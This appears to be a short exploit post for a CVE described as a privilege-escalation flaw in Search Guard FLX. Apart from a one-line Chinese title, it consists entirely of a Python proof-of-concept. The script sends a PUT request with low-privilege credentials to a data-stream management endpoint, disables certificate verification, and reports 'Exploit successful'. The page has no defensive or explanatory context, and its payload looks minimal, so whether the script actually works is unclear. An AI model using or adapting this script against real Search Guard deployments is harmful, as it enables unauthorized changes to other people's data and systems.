CVE-2026-4818 Search Guard FLX权限提升漏洞

import requests import json # Target URL (Replace with actual target) target_url = "https://<search-guard-host>:9200/_data_streams/<stream-name>" # Low privilege user credentials username = "low_priv_user" password = "password123" # The vulnerability allows creating/managing data streams without proper authorization headers = { "Content-Type": "application/json" } # Payload to create or modify a data stream (Management Operation) payload = { "match": "*" } try: # Sending request with low privilege credentials response = requests.put(target_url, auth=(username, password), headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200: print("[+] Exploit successful! Management operation executed.") print("Response:", response.text) else: print("[-] Exploit failed or patched.") print("Status Code:", response.status_code) print("Response:", response.text) except Exception as e: print(f"Error: {e}")